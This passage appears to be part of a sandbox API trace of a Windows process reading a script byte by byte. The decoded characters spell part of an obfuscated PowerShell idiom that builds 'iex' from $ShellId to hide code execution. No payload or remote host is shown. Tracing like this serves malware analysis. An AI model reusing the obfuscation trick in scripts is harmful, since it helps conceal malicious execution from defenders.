lpDistanceToMoveHigh=0x0) returned 0x0 [0103.842] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee32c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.842] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.842] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.842] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee32e, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.842] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.842] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.842] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee330, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0103.842] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.842] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.843] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee332, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0103.843] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.843] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.843] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee334, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0103.843] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.843] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.843] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee336, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0103.843] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.843] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.843] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee338, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0103.843] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.843] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.843] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee33a, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0103.843] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.843] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.843] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee33c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.843] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.844] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.844] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee33e, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0103.844] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.844] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.844] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee340, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.844] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.844] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.844] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee342, cchWideChar=1 | out: lpWideCharStr="$") returned 1 [0103.844] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.844] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.844] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee344, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.844] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.844] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.844] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee346, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0103.844] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.844] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.844] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee348, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.844] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.844] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.844] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee34a, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0103.845] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.845] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.845] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee34c, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0103.845] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.845] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.845] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee34e, cchWideChar=1 | out: lpWideCharStr="I") returned 1 [0103.845] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.845] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.845] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee350, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0103.845] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.845] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.845] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee352, cchWideChar=1 | out: lpWideCharStr="[") returned 1 [0103.845] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.845] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.845] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee354, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0103.845] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.845] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.846] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee356, cchWideChar=1 | out: lpWideCharStr="]") returned 1 [0103.846] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.846] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.846] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee358, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.846] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.846] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.846] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee35a, cchWideChar=1 | out: lpWideCharStr="$") returned 1 [0103.846] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.846] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.846] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee35c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.846] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.846] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.846] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee35e, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0103.846] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.846] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.846] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee360, cchWideChar=1 | out: lpWideCharStr="E") returned 1 [0103.846] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.846] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.846] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee362, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0103.847] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.847] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.847] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee364, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0103.847] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.847] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.847] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee366, cchWideChar=1 | out: lpWideCharStr="I") returned 1 [0103.847] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.847] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.847] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee368, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0103.847] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.847] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.847] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee36a, cchWideChar=1 | out: lpWideCharStr="[") returned 1 [0103.847] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.847] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.847] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee36c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0103.847] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.847] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.847] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee36e, cchWideChar=1 | out: lpWideCharStr="3") returned 1 [0103.847] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.847] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.847] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee370, cchWideChar=1 | out: lpWideCharStr="]") returned 1 [0103.848] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.848] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.848] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee372, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.848] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.848] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.848] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee374, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.848] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.848] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.848] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee376, cchWideChar=1 | out: lpWideCharStr="X") returned 1 [0103.848] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.848] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.848] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: 